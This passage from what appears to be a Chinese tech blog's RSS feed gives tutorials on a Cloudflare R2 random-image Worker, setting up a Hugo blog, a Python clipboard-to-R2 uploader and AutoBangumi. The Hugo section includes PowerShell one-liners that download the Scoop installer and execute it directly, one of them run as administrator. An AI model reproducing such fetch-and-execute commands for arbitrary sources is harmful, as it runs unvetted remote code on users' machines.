<p>因为我们需要该 API 来管理单个 R2 存储桶,所以选择<strong>对象读和写</strong>,详细配置如图<img src="https://blog.acofork.com/_astro/0361e2b00351559eaebb18f3e6bb15a94b8578e9.BhPVrtJa.webp" alt="QmNY9p8hksi18B9R8TVfdGgu336oQ3cPmghyfYXE9CDGD4.webp" /></p>
|
||
</li>
|
||
<li>
|
||
<p>创建 API 令牌后,新页面会展示令牌的详细信息,<strong>仅会展示一次!!!</strong> 保持这个页面,直到你将该页面的所有信息都已经妥善保存,不要关闭界面,否则,你需要轮转 API 令牌以禁用之前的旧密钥,如图<img src="https://blog.acofork.com/_astro/f4214f6fdf67fa7bf694d0a1501ecc21aef45a90.CryqwAR5.webp" alt="QmZTUwbycqbJhVP6PatD3psYy7ej9PDDoiXbmDWoakPhwx.webp" /></p>
|
||
</li>
|
||
<li>
|
||
<p>确保你已经妥善保存你的 R2 API 令牌,然后进行下一步</p>
|
||
</li>
|
||
</ol>
|
||
<h3><strong>为你的存储桶添加文件</strong></h3>
|
||
<p>因为 Web 界面传输文件较慢且不支持传输大于 300MB 的文件。这里使用本地部署 AList 然后连接你的 R2 存储桶实现高速上传</p>
|
||
<ol>
|
||
<li>
|
||
<p>笔者使用 Windows。前往<a href="https://github.com/alist-org/alist/releases">AList - Github Release</a>下载适用于 Windows 的最新可执行文件,如图<img src="https://blog.acofork.com/_astro/a2d1f289e464a9fb6367e2b7ff0b695916742698.DJjd6jCz.webp" alt="QmPDRDJGeGStreyZMXVYofbE9FCs1T1MyDek3KUbB3Kk5b.webp" /></p>
|
||
</li>
|
||
<li>
|
||
<p>将下载的压缩包解压,并将其中的<code>alist.exe</code>放入一个空文件夹</p>
|
||
</li>
|
||
<li>
|
||
<p>单击搜索框,输入 cmd 并回车,如图</p>
|
||
</li>
|
||
<li>
|
||
<p><img src="https://blog.acofork.com/_astro/3abdda195c58812866d49879c683a044e8acf7f8.CYdfwe7Y.webp" alt="QmSt8aFtaeEprJHASEiNPB67UHcHoSxsbhhHUPxW6QkWSo.webp" /></p>
|
||
<p><img src="https://blog.acofork.com/_astro/f90fccfe1db62aff7a0a722cd3c5c319da563ae2.C94p2lzA.webp" alt="QmNkMhDhpPLkYCpVhE1ov7Q6A34uWDvraCqNvuTqaCkujT.webp" /></p>
|
||
<p>在 cmd 中输入<code>alist.exe server</code>并且不要关闭窗口,运行成功后如图<img src="https://blog.acofork.com/_astro/2c0ec8fb4de7f2a9a1b8107e3506cb5a8d7d7eff.BUd610xL.webp" alt="QmdzyY8xbic8jdnZEXegefoZPeizqHa4ZkdMnRKoguBMkf.webp" /></p>
|
||
</li>
|
||
<li>
|
||
<p>打开浏览器,输入<code>localhost:5244</code>即可进入 AList 控制台,如图<img src="https://blog.acofork.com/_astro/867fe02a124c886777d4ba64f6d1e4498c686709.DsXHFmKs.webp" alt="QmUBFKu7mCiRneCrsTNPxTH6S4gxwtXf9cwLzf4dKW9LLR.webp" /></p>
|
||
</li>
|
||
<li>
|
||
<p>用户名:<code>admin</code>密码:<code>在cmd窗口中,如图</code>。你可以使用鼠标左键在终端中框选内容然后单击鼠标右键进行复制操作<img src="https://blog.acofork.com/_astro/8cedc3475cd8358507587de8a6b2a91980fe9af4.BV5C7P7T.webp" alt="QmVH3qZYo3QE6anNHymwkikq5MSeJphrZNR7RCH5jpP3wn.webp" /></p>
|
||
</li>
|
||
<li>
|
||
<p>注意,在 cmd 中,鼠标左键点击或拖动 cmd 的终端界面会导致进入选择状态,程序将会被系统阻塞,<strong>需要在终端界面点按鼠标右键解除</strong>。若进程被阻塞,cmd 的进程名会多一个<strong>选择</strong>,请注意。如图是程序被阻塞的例子,<strong>在终端界面点按鼠标右键即可解除</strong>
|
||
<img src="https://blog.acofork.com/_astro/afb945ff610c0463ee0db97f52bc42a865b00603.CWbk0EQg.webp" alt="QmapESiqSEvbYq3AJs15yYvhemRxSHrJaccjTFr99muX6Z.webp" /></p>
|
||
</li>
|
||
<li>
|
||
<p>现在,你已经成功以管理员身份登入了 AList单击最下面的<strong>管理</strong><img src="https://blog.acofork.com/_astro/eb0c3753205f42133445dfcee5f1291debd6c649.DnpNy5p9.webp" alt="QmfNE53GThdjVrh4q64MJcZqwcGPD7UtcYTNw9bVBaSEaF.webp" /></p>
|
||
</li>
|
||
<li>
|
||
<p>你会进入到如图界面。尽管 AList 运行在本地,也建议更改你的用户名和密码<img src="https://blog.acofork.com/_astro/3bde577194580e4d17aa457231360733175e2b0d.CWuWmboA.webp" alt="QmNdD8UU8fkVDBz5dXdJhCF2fZg8P1FwrcMaaTsG6a7ENy.webp" /></p>
|
||
</li>
|
||
<li>
|
||
<p>更改账密,重新以新账密登录<img src="https://blog.acofork.com/_astro/a5ba3b6cc73002f3e96b6aab8c4e252f697802da.CqlGB7Z4.webp" alt="Qmas7pMiPR2FNTXheBT1xGNUpzDiSzv7J7yd6oCuT17yad.webp" /></p>
|
||
</li>
|
||
<li>
|
||
<p>进入控制台,然后单击存储,如图<img src="https://blog.acofork.com/_astro/bb8fc961e43dffa99994c0d0e703ba98fc01b85a.DtlnhxCE.webp" alt="QmS4gGyCM1j3RXgHEPuZ1zTbLAvGtVBEiPXJe9QMF3dD2D.webp" /></p>
|
||
</li>
|
||
<li>
|
||
<p>选择添加,如图<img src="https://blog.acofork.com/_astro/2807d1dbc07fed008c8177cd3b2b89bfd03cc8be.gOIkCfA1.webp" alt="QmRDVxt8WbrVkHavgFNXj3qC86ysw6sSZhPy3Uf2ixKp2E.webp" /></p>
|
||
</li>
|
||
<li>
|
||
<p>详细配置如图。挂载路径即 AList 展示路径,推荐使用<code>/R2/你的存储桶名字</code>,地区为<code>auto</code><img src="https://blog.acofork.com/_astro/2024-10-16-11-37-53-image.C6pLEve_.webp" alt="" />回到主页,如图<img src="https://blog.acofork.com/_astro/65265d29e91f146ecbe3d92218eb9af49eac1c8b.DLyJb3FJ.webp" alt="QmSnR9Ptrssx4nqk9qCvhFUNKQyQqJiN7GRscwoj4Dczgj.webp" /></p>
|
||
</li>
|
||
<li>
|
||
<p>尝试上传文件,如图<img src="https://blog.acofork.com/_astro/061c995a66c34ebc341f692d4eb82d5657d791d6.Cjl5ja7d.webp" alt="QmPqFsmZNNnh4jNyLS7X3h8Zr6ZCVqTqGVwTxmPDdbmrGW.webp" /></p>
|
||
</li>
|
||
<li>
|
||
<p>可以看到,速度非常快<img src="https://blog.acofork.com/_astro/51d0a617cbda108ce6c12fb25f71fb5223a0cddb.Bb2565R0.webp" alt="QmXfGK6aZjz741GrY8RfFfKMkUzDMB3xhx93PGZ9S1QycT.webp" /></p>
|
||
</li>
|
||
<li>
|
||
<p>为你的图床创建目录以分类横屏和竖屏图等,以便下文使用 Workers 连接 R2 来调用。后文我将使用R2的<code>/ri/h</code> 路径作为横屏随机图目录、<code>/ri/v</code> 路径作为竖屏随机图目录</p>
|
||
</li>
|
||
</ol>
|
||
<p><img src="https://blog.acofork.com/_astro/3bde577194580e4d17aa457231360733175e2b0d.CWuWmboA.webp" alt="QmNdD8UU8fkVDBz5dXdJhCF2fZg8P1FwrcMaaTsG6a7ENy.webp" /></p>
|
||
<h3><strong>创建 Workers,连接 R2</strong></h3>
|
||
<ol>
|
||
<li>
|
||
<p>进入<a href="https://dash.cloudflare.com/">Cloudflare 仪表盘</a>,进入 Workers 和 Pages 页面,如图<img src="https://blog.acofork.com/_astro/49ccd51771082fdc94eecb270caf987d257cd987.xJ72EQik.webp" alt="QmW5UaUap8T2R37u5dzmKGLmUgk4qKnSMFwHBVHqvVbkVA.webp" /></p>
|
||
</li>
|
||
<li>
|
||
<p>单击创建,选择创建 Workers,名称自取,单击部署<img src="https://blog.acofork.com/_astro/95102dd09752a103d8022b1f281538e729b7a448.PsVTxXY0.webp" alt="QmVvLv5n41QQfDfYiVWYRpsfw7TVNGy1BYuv5e8vBRhKLA.webp" /></p>
|
||
</li>
|
||
<li>
|
||
<p>选择编辑代码<img src="https://blog.acofork.com/_astro/fa78af856b3ff3798c77a55be15b2644dec944c1.BC0Iekzl.webp" alt="QmTbRifzXQ593DGyjFQMbA9exyNp2iAeAg4zbVrfFimQc4.webp" /></p>
|
||
</li>
|
||
<li>
|
||
<p>粘贴代码(创建随机横屏图):</p>
|
||
</li>
|
||
</ol>
|
||
<p>新代码:</p>
|
||
<pre><code>export default {
|
||
async fetch(request, env, ctx) {
|
||
const bucket = env.MY_BUCKET;
|
||
const url = new URL(request.url);
|
||
const hostname = url.hostname;
|
||
|
||
// 初始化prefix
|
||
let prefix = '';
|
||
|
||
// 根据域名判断prefix
|
||
if (hostname === 'hpic.072103.xyz' || hostname === 'api-hpic.072103.xyz') {
|
||
prefix = 'ri/h/';
|
||
} else if (hostname === 'vpic.072103.xyz' || hostname === 'api-vpic.072103.xyz') {
|
||
prefix = 'ri/v/';
|
||
} else {
|
||
return new Response('Invalid domain', { status: 400 });
|
||
}
|
||
|
||
try {
|
||
// 如果是API域名,只返回数量
|
||
if (hostname.startsWith('api-')) {
|
||
const objects = await bucket.list({ prefix: prefix });
|
||
const count = objects.objects.length;
|
||
const headers = new Headers({
|
||
'Access-Control-Allow-Origin': '*',
|
||
'Content-Type': 'text/plain'
|
||
});
|
||
return new Response(count.toString(), { headers });
|
||
}
|
||
|
||
// 原有的随机图片逻辑
|
||
const objects = await bucket.list({ prefix: prefix });
|
||
const items = objects.objects;
|
||
|
||
if (items.length === 0) {
|
||
return new Response('No images found', { status: 404 });
|
||
}
|
||
|
||
const randomItem = items[Math.floor(Math.random() * items.length)];
|
||
const object = await bucket.get(randomItem.key);
|
||
|
||
if (!object) {
|
||
return new Response('Image not found', { status: 404 });
|
||
}
|
||
|
||
const headers = new Headers();
|
||
headers.set('Content-Type', object.httpMetadata.contentType || 'image/jpeg');
|
||
|
||
return new Response(object.body, { headers });
|
||
} catch (error) {
|
||
console.error('Error:', error);
|
||
return new Response('Internal Server Error', { status: 500 });
|
||
}
|
||
},
|
||
};
|
||
</code></pre>
|
||
<p>旧代码:</p>
|
||
<pre><code>export default {
|
||
async fetch(request, env, ctx) {
|
||
// R2 bucket 配置
|
||
const bucket = env.MY_BUCKET;
|
||
|
||
try {
|
||
// 列出 /ri/h 目录下的所有对象
|
||
const objects = await bucket.list({ prefix: 'ri/h/' });
|
||
|
||
// 从列表中随机选择一个对象
|
||
const items = objects.objects;
|
||
if (items.length === 0) {
|
||
return new Response('No images found', { status: 404 });
|
||
}
|
||
const randomItem = items[Math.floor(Math.random() * items.length)];
|
||
|
||
// 获取选中对象
|
||
const object = await bucket.get(randomItem.key);
|
||
|
||
if (!object) {
|
||
return new Response('Image not found', { status: 404 });
|
||
}
|
||
|
||
// 设置适当的 Content-Type
|
||
const headers = new Headers();
|
||
headers.set('Content-Type', object.httpMetadata.contentType || 'image/jpeg');
|
||
|
||
// 返回图片内容
|
||
return new Response(object.body, { headers });
|
||
} catch (error) {
|
||
console.error('Error:', error);
|
||
return new Response('Internal Server Error', { status: 500 });
|
||
}
|
||
},
|
||
};
|
||
</code></pre>
|
||
<ol>
|
||
<li>
|
||
<p>点击左侧的文件图标<img src="https://blog.acofork.com/_astro/b02f29fbafb44ad36a0fa770d013069a374394a8.t5c4IDWI.webp" alt="QmQGQTiTXSESU2TSJ6tc3KrzWU4KABKqn6QZ1GdWqKnWmc.webp" /></p>
|
||
</li>
|
||
<li>
|
||
<p>在<code>wrangler.toml</code>中填入:</p>
|
||
</li>
|
||
</ol>
|
||
<pre><code>[[r2_buckets]]
|
||
binding = "MY_BUCKET"
|
||
bucket_name = "114514"
|
||
</code></pre>
|
||
<ol>
|
||
<li>
|
||
<p>保存修改,点击右上角的部署<img src="https://blog.acofork.com/_astro/6751c7b5122b938e01087d1bed629fcad1182a10.CL9sSqB6.webp" alt="QmP7hXdtenrJrzJRRePHQATGtyAsZEr5MkMsboXvmNUxTx.webp" /></p>
|
||
</li>
|
||
<li>
|
||
<p>在设置 - 变量找到 R2 存储桶绑定,添加你的存储桶,变量名即上文的<code>MY_BUCKET</code><img src="https://blog.acofork.com/_astro/572f1c9946b5b6de5350c708e579d9887949b6e9.DyTpoEBs.webp" alt="QmStitSyATnA8sY9tTgZaXXqmqkGPUtZmMxn9KjbFQzgTc.webp" /></p>
|
||
</li>
|
||
<li>
|
||
<p>在设置 - 触发器添加你的自定义域名以便访问<img src="https://blog.acofork.com/_astro/706b3acbb372307713e38c96fc867f4e96234fd7.DWrJLHhg.webp" alt="QmUMxtkCiKsgFw8afRUGREFztXE9D5W6FmCbAUB7DaVH5o.webp" /></p>
|
||
<p><img src="https://blog.acofork.com/_astro/1a6fa505881591a294f0b4ef4a1940e40fe57ab9.BvdKZa4r.webp" alt="QmPF9iCoq6n8Jj2Z6kPkdJSCm45VJystZoYcir55yceCQo.webp" /></p>
|
||
</li>
|
||
<li>
|
||
<p>访问效果,每次刷新都不一样<img src="https://blog.acofork.com/_astro/0ba1efee8174e0d3db761bbd613a7b94b9738cee.CBH8Lj1G.webp" alt="QmQgEdjXxF9oph2jYKzFMJToX9WfG11jUmPiNJnjhYVN4N.webp" /></p>
|
||
</li>
|
||
</ol>
|
||
<h3><strong>通过使用 HTML 的 <code>&lt;img&gt;</code> 标签引用即可达到开头的效果</strong></h3>
|
||
<p>如:<code>&lt;img src="你的域名" alt=""&gt;</code>
|
||
&lt;img title="" src="https://hpic.072103.xyz" alt="loading-ag-4760"&gt;</p>
|
||
</content:encoded></item><item><title>Hugo博客搭建教程以及配置调优</title><link>https://blog.acofork.com/posts/hugo/</link><guid isPermaLink="true">https://blog.acofork.com/posts/hugo/</guid><description>Hugo是一个基于Golang的静态博客,相比于Nodejs的Hexo构建效率提升600%,同时也支持低JavaScript特性,SEO更加优化,爬虫更易获取</description><pubDate>Mon, 03 Mar 2025 00:00:00 GMT</pubDate><content:encoded><h1>引言</h1>
|
||
<p>曾经我写过一篇文章叫做:<a href="/posts/fuwari/">Fuwari静态博客搭建教程</a>。</p>
|
||
<p>文中的<a href="https://github.com/saicaca/fuwari">Fuwari</a>是基于Astro的,并且使用了服务器+客户端的混合渲染,尽管UI确实好看,但因为本人不会写Astro导致日后维护特别困难(比如手动添加Giscus评论后和上游分支发生冲突需要手动解决冲突才能合并上游)。</p>
|
||
<p>最后我放弃了,既然我就是菜我为什么不找一个原生使用HTML+JS+CSS的框架呢?</p>
|
||
<p>于是我便询问AI,Claude推荐我使用Hugo。</p>
|
||
<p>其实我早就曾听闻Hugo的大名,但是并没有深入研究,但是Claude又告诉我Hugo采用Go语言进行编译,速度快,而且想要二次开发也只需要改改我最熟悉的HTML+JS+CSS。</p>
|
||
<p>于是我便花了2小时深入研究、部署、调优。发现Hugo确实很强大:迁移方便,二改简单,构建迅速</p>
|
||
<h1>正式开始</h1>
|
||
<blockquote>
|
||
<p>请全程在Windows上操作</p>
|
||
</blockquote>
|
||
<p>我们首先需要安装Scoop,这是一个适用于Windows的包管理器,个人认为非常好用</p>
|
||
<p>Scoop默认会安装到C盘,如果你想要换盘请按需更改</p>
|
||
<pre><code>$env:SCOOP='D:\Scoop'
|
||
$env:SCOOP_GLOBAL='D:\ScoopApps'
|
||
[Environment]::SetEnvironmentVariable('SCOOP', $env:SCOOP, 'User')
|
||
[Environment]::SetEnvironmentVariable('SCOOP_GLOBAL', $env:SCOOP_GLOBAL, 'Machine')
|
||
</code></pre>
|
||
<p>安装Scoop:</p>
|
||
<pre><code>Set-ExecutionPolicy -ExecutionPolicy RemoteSigned -Scope CurrentUser
|
||
Invoke-RestMethod -Uri https://get.scoop.sh | Invoke-Expression
|
||
</code></pre>
|
||
<p>如果你以管理员的身份会安装失败,请切换为普通用户。若想强制以管理员身份安装Scoop请使用</p>
|
||
<p><a href="https://github.com/ScoopInstaller/Install#for-admin">github原帖</a></p>
|
||
<p>出于安全考虑,默认情况下已禁用管理员控制台下的安装。如果您知道自己在做什么并希望以管理员身份安装Scoop,请下载安装程序并在提升的控制台中手动执行它,使用 <code>-RunAsAdmin</code> 参数。以下是示例:</p>
|
||
<pre><code>irm get.scoop.sh -outfile 'install.ps1'
|
||
.\install.ps1 -RunAsAdmin [-OtherParameters ...]
|
||
# 如果你想要一行解决:
|
||
iex "&amp; {$(irm get.scoop.sh)} -RunAsAdmin"
|
||
</code></pre>
|
||
<p>安装Hugo框架:</p>
|
||
<pre><code>scoop install hugo
|
||
</code></pre>
|
||
<p>然后选择一个你喜欢的文件夹创建你的站点。 <code>myblog</code> 即你的站点文件夹名称</p>
|
||
<pre><code>hugo new site myblog
|
||
cd myblog
|
||
</code></pre>
|
||
<p>安装PaperMod主题:</p>
|
||
<pre><code>git clone https://github.com/adityatelange/hugo-PaperMod.git themes/PaperMod
|
||
</code></pre>
|
||
<p>站点根目录会有一个 <code>hugo.toml</code>。我推荐使用YAML。将文件重命名为 <code>hugo.yaml</code>。粘贴并更改以下内容</p>
|
||
<pre><code>baseURL: "https://站点url"
|
||
title: "网站标题"
|
||
LanguageCode: "zh-CN"
|
||
theme: "PaperMod"
|
||
|
||
# 启用首页个人简介展示
|
||
params:
|
||
# 是否启用评论。你需要自己配置,或者直接引入Giscus等评论系统
|
||
comments: false
|
||
# 是否显示代码复制按钮
|
||
ShowCodeCopyButtons: true
|
||
# 是否显示面包屑导航
|
||
ShowBreadCrumbs: false
|
||
# 是否显示阅读时间
|
||
ShowReadingTime: true
|
||
# 是否显示分享按钮
|
||
ShowShareButtons: true
|
||
# 分享按钮配置
|
||
# ShareButtons: ["linkedin", "twitter"]
|
||
# 是否禁用主题切换按钮
|
||
disableThemeToggle: false
|
||
assets:
|
||
favicon: "/你的/网站图标.jpg" # 需要在static文件夹放置对应的图片
|
||
iconHeight: 35
|
||
# 首页信息配置
|
||
homeInfoParams:
|
||
Title: "首页展示的标题"
|
||
Content: &gt;
|
||
首页展示的文本
|
||
|
||
# 设置网站头像和首页头像
|
||
profileMode:
|
||
enabled: false # 设为 true 将完全替换 homeInfoParams
|
||
|
||
# 网站头像设置 (显示在导航栏)
|
||
label:
|
||
text: "左上角显示的文本"
|
||
icon: "/你的/左上角显示的图片.jpg" # 这将显示在导航栏标题旁边。需要在static文件夹放置对应的图片
|
||
iconHeight: 35
|
||
|
||
# 社交图标 (显示在简介下方)
|
||
socialIcons:
|
||
- name: bilibili
|
||
url: ""
|
||
- name: github
|
||
url: ""
|
||
- name: telegram
|
||
url: ""
|
||
# 可以添加更多社交图标 https://github.com/adityatelange/hugo-PaperMod/wiki/Icons
|
||
|
||
# 顶部导航栏的快捷链接
|
||
menu:
|
||
main:
|
||
- identifier: categories
|
||
name: 分类
|
||
url: /categories/
|
||
weight: 10
|
||
- identifier: tags
|
||
name: 标签
|
||
url: /tags/
|
||
weight: 20
|
||
- identifier: archives
|
||
name: 归档
|
||
url: /archives/
|
||
weight: 30
|
||
- identifier: search
|
||
name: 搜索
|
||
url: /search/
|
||
weight: 40
|
||
# 可以添加更多导航链接。weight的值越高排序越靠后
|
||
|
||
# 如果要启用搜索功能,需要添加这个
|
||
outputs:
|
||
home:
|
||
- HTML
|
||
- RSS
|
||
- JSON # 必须,用于搜索功能
|
||
</code></pre>
|
||
<p>然后我们需要分别配置分类、标签、归档和搜索页</p>
|
||
<p>创建 <code>content\categories\_index.md</code> 写入:</p>
|
||
<pre><code>---
|
||
title: 分类
|
||
layout: categories
|
||
---
|
||
</code></pre>
|
||
<p>创建 <code>content\tags\_index.md</code> 写入:</p>
|
||
<pre><code>---
|
||
title: 标签
|
||
layout: tags
|
||
---
|
||
</code></pre>
|
||
<p>创建 <code>content\archives.md</code> 写入:</p>
|
||
<pre><code>---
|
||
title: 归档
|
||
layout: archives
|
||
---
|
||
</code></pre>
|
||
<p>创建 <code>content\search.md</code> 写入:</p>
|
||
<pre><code>---
|
||
title: "搜索"
|
||
layout: "search"
|
||
---
|
||
</code></pre>
|
||
<p>然后我们要更改默认的文章创建模板</p>
|
||
<p>在 <code>archetypes\default.md</code> 写入:</p>
|
||
<pre><code>---
|
||
title: {{ replace .File.ContentBaseName "-" " " | title }}
|
||
published: {{ .Date }}
|
||
summary: "文章简介"
|
||
cover:
|
||
image: 文章封面图。也支持HTTPS
|
||
tags: [标签1, 标签2]
|
||
categories: '文章所处的分类'
|
||
draft: false
|
||
lang: ''
|
||
---
|
||
</code></pre>
|
||
<p>接下来我们就可以通过命令来创建文章,并开始写作了。注意,最终构建的文章URL是你的文章的文件名。比如:<code>https://你的网站.com/posts/first</code> 所以文章文件名尽量简短,这并不会影响你的文章标题</p>
|
||
<pre><code>hugo new posts/first.md
|
||
</code></pre>
|
||
<p>当我们写完一篇文章想要预览网站,可以使用</p>
|
||
<pre><code>hugo server
|
||
</code></pre>
|
||
<p>当我们想要将站点发布到Vercel、Cloudflare Pages等静态网站托管平台可以将我们的 <code>myblog</code> 作为一个Git存储库提交到Github</p>
|
||
<p>根目录:<code>./</code></p>
|
||
<p>输出目录:<code>public</code></p>
|
||
<p>构建命令:<code>hugo --gc</code></p>
|
||
<p>环境变量: Key:<code>HUGO_VERSION</code> Value:<code>0.145.0</code></p>
|
||
<hr />
|
||
<h3>对象存储存图中间件代码:</h3>
|
||
<pre><code>import keyboard
|
||
import pyperclip
|
||
from PIL import ImageGrab, Image
|
||
import io
|
||
import boto3
|
||
from botocore.config import Config
|
||
import time
|
||
import uuid
|
||
import pyautogui
|
||
import os
|
||
from io import BytesIO
|
||
# 示例配置
|
||
# # R2 配置
|
||
# R2_CONFIG = {
|
||
# 'account_id': '11111111111111111',
|
||
# 'access_key_id': '11111111111111111',
|
||
# 'secret_access_key': '11111111111111111',
|
||
# 'bucket_name': '11111111111111111'
|
||
# }
|
||
|
||
# # OSS 配置
|
||
# OSS_CONFIG = {
|
||
# 'url': 'sb-eo-r2.2x.nz',
|
||
# 'prefix': '/fuwari-blog/img'
|
||
# }
|
||
#########################################################
|
||
# R2 配置
|
||
R2_CONFIG = {
|
||
'account_id': '',
|
||
'access_key_id': '',
|
||
'secret_access_key': '',
|
||
'bucket_name': ''
|
||
}
|
||
|
||
# OSS 配置
|
||
OSS_CONFIG = {
|
||
'url': '',
|
||
'prefix': ''
|
||
}
|
||
#########################################################
|
||
def init_r2_client():
|
||
"""初始化 R2 客户端"""
|
||
return boto3.client(
|
||
's3',
|
||
endpoint_url=f'https://{R2_CONFIG["account_id"]}.r2.cloudflarestorage.com',
|
||
aws_access_key_id=R2_CONFIG['access_key_id'],
|
||
aws_secret_access_key=R2_CONFIG['secret_access_key'],
|
||
config=Config(signature_version='s3v4'),
|
||
region_name='auto'
|
||
)
|
||
|
||
def get_image_from_clipboard():
|
||
"""从剪贴板获取图片"""
|
||
try:
|
||
image = ImageGrab.grabclipboard()
|
||
if image is None:
|
||
return None
|
||
|
||
# 如果是列表(多个文件),取第一个
|
||
if isinstance(image, list):
|
||
if len(image) &gt; 0:
|
||
# 如果是图片文件路径,打开它
|
||
try:
|
||
return Image.open(image[0])
|
||
except Exception as e:
|
||
print(f"打开图片文件失败: {e}")
|
||
return None
|
||
return None
|
||
|
||
# 如果直接是 Image 对象
|
||
if isinstance(image, Image.Image):
|
||
return image
|
||
|
||
return None
|
||
except Exception as e:
|
||
print(f"获取剪贴板图片失败: {e}")
|
||
return None
|
||
|
||
def convert_to_webp(image):
|
||
"""将图片转换为 webp 格式"""
|
||
if not image:
|
||
return None
|
||
|
||
try:
|
||
buffer = BytesIO()
|
||
# 确保图片是 RGB 模式
|
||
if image.mode in ('RGBA', 'LA'):
|
||
background = Image.new('RGB', image.size, (255, 255, 255))
|
||
background.paste(image, mask=image.split()[-1])
|
||
image = background
|
||
elif image.mode != 'RGB':
|
||
image = image.convert('RGB')
|
||
|
||
image.save(buffer, format="WEBP", quality=80)
|
||
return buffer.getvalue()
|
||
except Exception as e:
|
||
print(f"转换图片失败: {e}")
|
||
return None
|
||
|
||
def upload_to_r2(image_data):
|
||
"""上传图片到 R2"""
|
||
if not image_data:
|
||
return None
|
||
|
||
client = init_r2_client()
|
||
|
||
# 生成基础文件名
|
||
base_filename = f"{uuid.uuid4()}.webp"
|
||
filename = base_filename
|
||
|
||
try:
|
||
# 检查文件是否已存在
|
||
attempt = 1
|
||
while True:
|
||
try:
|
||
# 尝试获取文件信息,如果文件存在会返回数据,不存在会抛出异常
|
||
client.head_object(
|
||
Bucket=R2_CONFIG['bucket_name'],
|
||
Key=f"{OSS_CONFIG['prefix'].strip('/')}/{filename}"
|
||
)
|
||
# 如果文件存在,修改文件名
|
||
name_without_ext = base_filename.rsplit('.', 1)[0]
|
||
filename = f"{name_without_ext}_{attempt}.webp"
|
||
attempt += 1
|
||
print(f"文件名已存在,尝试重命名为: {filename}")
|
||
except client.exceptions.ClientError as e:
|
||
# 如果是 404 错误,说明文件不存在,可以使用这个文件名
|
||
if e.response['Error']['Code'] == '404':
|
||
break
|
||
raise e # 其他错误则抛出
|
||
|
||
# 上传文件
|
||
client.put_object(
|
||
Bucket=R2_CONFIG['bucket_name'],
|
||
Key=f"{OSS_CONFIG['prefix'].strip('/')}/{filename}",
|
||
Body=image_data,
|
||
ContentType='image/webp'
|
||
)
|
||
return filename
|
||
except Exception as e:
|
||
print(f"上传失败: {e}")
|
||
return None
|
||
|
||
def generate_markdown_link(filename):
|
||
"""生成 Markdown 图片链接"""
|
||
if not filename:
|
||
return None
|
||
|
||
url = f"https://{OSS_CONFIG['url']}{OSS_CONFIG['prefix']}/{filename}"
|
||
return f""
|
||
|
||
def type_markdown_link(markdown_link):
|
||
"""模拟键盘输入 Markdown 链接"""
|
||
if not markdown_link:
|
||
return
|
||
|
||
pyperclip.copy(markdown_link)
|
||
pyautogui.hotkey('ctrl', 'v')
|
||
|
||
def handle_upload():
|
||
"""处理图片上传的主函数"""
|
||
print(f"\n[{time.strftime('%Y-%m-%d %H:%M:%S')}] 收到粘贴请求")
|
||
|
||
print("正在检查剪贴板...")
|
||
# 获取剪贴板图片
|
||
image = get_image_from_clipboard()
|
||
if not image:
|
||
print("❌ 剪贴板中没有图片")
|
||
return
|
||
print("✅ 获取到剪贴板图片")
|
||
|
||
# 转换为 webp
|
||
print("正在转换为 WebP 格式...")
|
||
image_data = convert_to_webp(image)
|
||
if not image_data:
|
||
print("❌ 图片转换失败")
|
||
return
|
||
print(f"✅ 转换完成,大小: {len(image_data)/1024:.2f}KB")
|
||
|
||
# 上传到 R2
|
||
print("正在上传到 R2...")
|
||
filename = upload_to_r2(image_data)
|
||
if not filename:
|
||
print("❌ 上传失败")
|
||
return
|
||
print(f"✅ 上传成功,文件名: {filename}")
|
||
|
||
# 生成并输入 Markdown 链接
|
||
markdown_link = generate_markdown_link(filename)
|
||
if markdown_link:
|
||
print(f"生成的 URL: https://{OSS_CONFIG['url']}{OSS_CONFIG['prefix']}/{filename}")
|
||
print(f"模拟键入: {markdown_link}")
|
||
type_markdown_link(markdown_link)
|
||
print("✅ 操作完成")
|
||
|
||
def main():
|
||
"""主函数"""
|
||
print("=" * 50)
|
||
print("R2 图片上传插件已启动")
|
||
print(f"当前配置:")
|
||
print(f"- OSS 域名: {OSS_CONFIG['url']}")
|
||
print(f"- 存储路径: {OSS_CONFIG['prefix']}")
|
||
print(f"- R2 存储桶: {R2_CONFIG['bucket_name']}")
|
||
print("使用 Ctrl+Alt+V 上传剪贴板中的图片")
|
||
print("=" * 50)
|
||
|
||
# 注册快捷键
|
||
keyboard.add_hotkey('ctrl+alt+v', handle_upload)
|
||
|
||
# 保持程序运行
|
||
keyboard.wait()
|
||
|
||
if __name__ == "__main__":
|
||
main()
|
||
</code></pre>
|
||
</content:encoded></item><item><title>教你搭建自己的番剧库,实现自动追番!</title><link>https://blog.acofork.com/posts/autobangumi/</link><guid isPermaLink="true">https://blog.acofork.com/posts/autobangumi/</guid><description>使用AutoBangumi连接qBittorrent下载番剧,然后使用刮削软件刮削,设置一遍,享受终身</description><pubDate>Tue, 25 Feb 2025 00:00:00 GMT</pubDate><content:encoded><h1>实现流程:</h1>
|
||
<ol>
|
||
<li>每当新番更新时AutoBangumi自动向qb推送种子下载并且重命名</li>
|
||
<li>刮削软件(如Plex,飞牛影视设置定时搜索媒体库)</li>
|
||
<li>你只需要选番,然后等待下载和看就行了 <s>实际并非</s></li>
|
||
</ol>
|
||
<h3>安装qbittorrent</h3>
|
||
<blockquote>
|
||
<p>用于下载番剧</p>
|
||
</blockquote>
|
||
<p>各系统安装方法各有不同。如果你安装的是非nox版本,记得在设置打开WebUI,并监听0.0.0.0:8080</p>
|
||
<p>Windows:<a href="https://sourceforge.net/projects/qbittorrent/files/qbittorrent-win32">SourceForge</a></p>
|
||
<p>Linux:<code>apt/yum install qbittorrent-nox</code></p>
|
||
<p>Docker:https://github.com/linuxserver/docker-qbittorrent</p>
|
||
<p>Tracker服务器大全:<a href="https://www.yaozuopan.top/index.php/archives/1014/#:~:text=%E4%B8%AD%E5%9B%BD%E5%8F%AF%E7%94%A8%E7%9A%84%20BT%20T">中国可用的 BT Tracker 服务器列表,每24小时自动更新 - 小小编程</a></p>
|
||
<p><img src="https://blog.acofork.com/_astro/29e0e4c26c15463ff692aabcee747950e2d029d3.WlAHr-Ng.webp" alt="8938ee430e5f74109c34c8c6d48e0e4f619cbeff.webp" /></p>
|
||
<h3>安装<a href="https://www.autobangumi.org/">AutoBangumi</a></h3>
|
||
<blockquote>
|
||
<p>用于获取你订阅的番剧并在更新时自动发起下载任务</p>
|
||
</blockquote>
|
||
<ol>
|
||
<li>
|
||
<p>安装Docker,各系统安装方式各有不同</p>
|
||
</li>
|
||
<li>
|
||
<p>找一个你喜欢的文件夹创建<code>docker-compose.yaml</code> ,并写入内容:</p>
|
||
</li>
|
||
</ol>
|
||
<pre><code>version: "3.8"
|
||
|
||
services:
|
||
AutoBangumi:
|
||
